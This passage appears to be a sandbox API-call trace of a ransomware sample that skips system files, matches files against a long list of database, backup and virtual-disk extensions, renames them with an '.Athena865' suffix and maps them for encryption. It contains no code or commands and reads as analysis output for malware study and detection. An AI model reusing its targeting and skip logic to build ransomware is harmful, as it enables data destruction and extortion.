lstrcmpiW (lpString1="es.htm", lpString2="nrmlib") returned -1 [0116.533] lstrlenW (lpString="ns2") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0116.533] lstrlenW (lpString="ns3") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0116.533] lstrlenW (lpString="ns4") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0116.533] lstrlenW (lpString="nsf") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0116.533] lstrlenW (lpString="nv") returned 2 [0116.533] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0116.534] lstrlenW (lpString="nv2") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0116.534] lstrlenW (lpString="nwdb") returned 4 [0116.534] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0116.534] lstrlenW (lpString="nyf") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0116.534] lstrlenW (lpString="odb") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0116.534] lstrlenW (lpString="odb") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0116.534] lstrlenW (lpString="oqy") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0116.534] lstrlenW (lpString="ora") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0116.534] lstrlenW (lpString="orx") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0116.534] lstrlenW (lpString="owc") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0116.534] lstrlenW (lpString="p96") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0116.534] lstrlenW (lpString="p97") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0116.534] lstrlenW (lpString="pan") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0116.534] lstrlenW (lpString="pdb") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0116.534] lstrlenW (lpString="pdm") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0116.534] lstrlenW (lpString="pnz") returned 3 [0116.534] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0116.535] lstrlenW (lpString="qry") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0116.535] lstrlenW (lpString="qvd") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0116.535] lstrlenW (lpString="rbf") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0116.535] lstrlenW (lpString="rctd") returned 4 [0116.535] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0116.535] lstrlenW (lpString="rod") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0116.535] lstrlenW (lpString="rodx") returned 4 [0116.535] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0116.535] lstrlenW (lpString="rpd") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0116.535] lstrlenW (lpString="rsd") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0116.535] lstrlenW (lpString="sas7bdat") returned 8 [0116.535] lstrcmpiW (lpString1="bles.htm", lpString2="sas7bdat") returned -1 [0116.535] lstrlenW (lpString="sbf") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0116.535] lstrlenW (lpString="scx") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0116.535] lstrlenW (lpString="sdb") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0116.535] lstrlenW (lpString="sdc") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0116.535] lstrlenW (lpString="sdf") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0116.535] lstrlenW (lpString="sis") returned 3 [0116.535] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0116.536] lstrlenW (lpString="spq") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0116.536] lstrlenW (lpString="te") returned 2 [0116.536] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0116.536] lstrlenW (lpString="teacher") returned 7 [0116.536] lstrcmpiW (lpString1="les.htm", lpString2="teacher") returned -1 [0116.536] lstrlenW (lpString="tmd") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0116.536] lstrlenW (lpString="tps") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0116.536] lstrlenW (lpString="trc") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0116.536] lstrlenW (lpString="trc") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0116.536] lstrlenW (lpString="trm") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0116.536] lstrlenW (lpString="udb") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0116.536] lstrlenW (lpString="udl") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0116.536] lstrlenW (lpString="usr") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0116.536] lstrlenW (lpString="v12") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0116.536] lstrlenW (lpString="vis") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0116.536] lstrlenW (lpString="vpd") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0116.536] lstrlenW (lpString="vvv") returned 3 [0116.536] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0116.536] lstrlenW (lpString="wdb") returned 3 [0116.537] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0116.537] lstrlenW (lpString="wmdb") returned 4 [0116.537] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0116.537] lstrlenW (lpString="wrk") returned 3 [0116.537] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0116.537] lstrlenW (lpString="xdb") returned 3 [0116.537] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0116.537] lstrlenW (lpString="xld") returned 3 [0116.537] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0116.537] lstrlenW (lpString="xmlff") returned 5 [0116.537] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1 [0116.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.Athena865") returned 85 [0116.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.athena865"), dwFlags=0x1) returned 1 [0116.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.538] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=237) returned 1 [0116.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.538] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.539] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.539] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.539] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.544] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.545] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.545] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.546] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.546] CloseHandle (hObject=0x154) returned 1 [0116.546] CloseHandle (hObject=0x17c) returned 1 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".") returned 1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="..") returned 1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="windows") returned -1 [0116.546] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootmgr") returned 1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="temp") returned -1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="pagefile.sys") returned -1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="boot") returned 1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ids.txt") returned -1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntuser.dat") returned -1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="perflogs") returned -1 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="MSBuild") returned -1 [0116.547] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0116.547] lstrcpyW (in: lpString1=0x241e8bc, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg" [0116.547] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0116.547] lstrlenW (lpString="Athena865") returned 9 [0116.547] lstrcmpiW (lpString1="bbles.jpg", lpString2="Athena865") returned 1 [0116.547] lstrlenW (lpString=".dll") returned 4 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".dll") returned 1 [0116.547] lstrlenW (lpString=".lnk") returned 4 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".lnk") returned 1 [0116.547] lstrlenW (lpString=".ini") returned 4 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".ini") returned 1 [0116.547] lstrlenW (lpString=".sys") returned 4 [0116.547] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".sys") returned 1 [0116.547] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0116.547] lstrlenW (lpString="bak") returned 3 [0116.547] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0116.547] lstrlenW (lpString="ba_") returned 3 [0116.547] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0116.547] lstrlenW (lpString="dbb") returned 3 [0116.547] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0116.547] lstrlenW (lpString="vmdk") returned 4 [0116.547] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0116.548] lstrlenW (lpString="rar") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0116.548] lstrlenW (lpString="zip") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0116.548] lstrlenW (lpString="tgz") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0116.548] lstrlenW (lpString="vbox") returned 4 [0116.548] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0116.548] lstrlenW (lpString="vdi") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0116.548] lstrlenW (lpString="vhd") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0116.548] lstrlenW (lpString="vhdx") returned 4 [0116.548] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0116.548] lstrlenW (lpString="avhd") returned 4 [0116.548] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0116.548] lstrlenW (lpString="db") returned 2 [0116.548] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0116.548] lstrlenW (lpString="db2") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0116.548] lstrlenW (lpString="db3") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0116.548] lstrlenW (lpString="dbf") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0116.548] lstrlenW (lpString="mdf") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0116.548] lstrlenW (lpString="mdb") returned 3 [0116.548] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0116.548] lstrlenW (lpString="sql") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0116.549] lstrlenW (lpString="sqlite") returned 6 [0116.549] lstrcmpiW (lpString1="es.jpg", lpString2="sqlite") returned -1 [0116.549] lstrlenW (lpString="sqlite3") returned 7 [0116.549] lstrcmpiW (lpString1="les.jpg", lpString2="sqlite3") returned -1 [0116.549] lstrlenW (lpString="sqlitedb") returned 8 [0116.549] lstrcmpiW (lpString1="bles.jpg", lpString2="sqlitedb") returned -1 [0116.549] lstrlenW (lpString="xml") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0116.549] lstrlenW (lpString="$er") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0116.549] lstrlenW (lpString="4dd") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0116.549] lstrlenW (lpString="4dl") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0116.549] lstrlenW (lpString="^^^") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0116.549] lstrlenW (lpString="abs") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0116.549] lstrlenW (lpString="abx") returned 3 [0116.549] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0116.549] lstrlenW (lpString="accdb") returned 5 [0116.549] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1 [0116.549] lstrlenW (lpString="accdc") returned 5 [0116.549] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1 [0116.549] lstrlenW (lpString="accde") returned 5 [0116.550] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1 [0116.550] lstrlenW (lpString="accdr") returned 5 [0116.550] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1 [0116.550] lstrlenW (lpString="accdt") returned 5 [0116.550] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1 [0116.550] lstrlenW (lpString="accdw") returned 5 [0116.550] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1 [0116.550] lstrlenW (lpString="accft") returned 5 [0116.550] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1 [0116.550] lstrlenW (lpString="adb") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.550] lstrlenW (lpString="adb") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.550] lstrlenW (lpString="ade") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0116.550] lstrlenW (lpString="adf") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0116.550] lstrlenW (lpString="adn") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0116.550] lstrlenW (lpString="adp") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0116.550] lstrlenW (lpString="alf") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0116.550] lstrlenW (lpString="ask") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0116.550] lstrlenW (lpString="btr") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0116.550] lstrlenW (lpString="cat") returned 3 [0116.550] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0116.551] lstrlenW (lpString="cdb") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0116.551] lstrlenW (lpString="ckp") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0116.551] lstrlenW (lpString="cma") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0116.551] lstrlenW (lpString="cpd") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0116.551] lstrlenW (lpString="dacpac") returned 6 [0116.551] lstrcmpiW (lpString1="es.jpg", lpString2="dacpac") returned 1 [0116.551] lstrlenW (lpString="dad") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0116.551] lstrlenW (lpString="dadiagrams") returned 10 [0116.551] lstrcmpiW (lpString1="ubbles.jpg", lpString2="dadiagrams") returned 1 [0116.551] lstrlenW (lpString="daschema") returned 8 [0116.551] lstrcmpiW (lpString1="bles.jpg", lpString2="daschema") returned -1 [0116.551] lstrlenW (lpString="db-journal") returned 10 [0116.551] lstrcmpiW (lpString1="ubbles.jpg", lpString2="db-journal") returned 1 [0116.551] lstrlenW (lpString="db-shm") returned 6 [0116.551] lstrcmpiW (lpString1="es.jpg", lpString2="db-shm") returned 1 [0116.551] lstrlenW (lpString="db-wal") returned 6 [0116.551] lstrcmpiW (lpString1="es.jpg", lpString2="db-wal") returned 1 [0116.551] lstrlenW (lpString="dbc") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0116.551] lstrlenW (lpString="dbs") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0116.551] lstrlenW (lpString="dbt") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0116.551] lstrlenW (lpString="dbv") returned 3 [0116.551] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0116.552] lstrlenW (lpString="dbx") returned 3 [0116.552] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0116.552] lstrlenW (lpString="dcb") returned 3 [0116.552] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0116.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.Athena865") returned 84 [0116.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.athena865"), dwFlags=0x1) returned 1 [0116.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.555] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6406) returned 1 [0116.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.555] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.556] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.556] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.556] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c10, lpName=0x0) returned 0x154 [0116.557] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c10) returned 0x100000 [0116.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.559] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.559] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.559] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.560] CloseHandle (hObject=0x154) returned 1 [0116.560] CloseHandle (hObject=0x17c) returned 1 [0116.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".") returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="..") returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="windows") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootmgr") returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="temp") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="pagefile.sys") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="boot") returned 1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ids.txt") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ntuser.dat") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="perflogs") returned -1 [0116.560] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="MSBuild") returned -1 [0116.560] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0116.560] lstrcpyW (in: lpString1=0x241e8bc, lpString2="grid_(cm).wmf" | out: lpString1="grid_(cm).wmf") returned="grid_(cm).wmf" [0116.560] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0116.560] lstrlenW (lpString="Athena865") returned 9 [0116.561] lstrcmpiW (lpString1="_(cm).wmf", lpString2="Athena865") returned -1 [0116.561] lstrlenW (lpString=".dll") returned 4 [0116.561] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".dll") returned 1 [0116.561] lstrlenW (lpString=".lnk") returned 4 [0116.561] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".lnk") returned 1 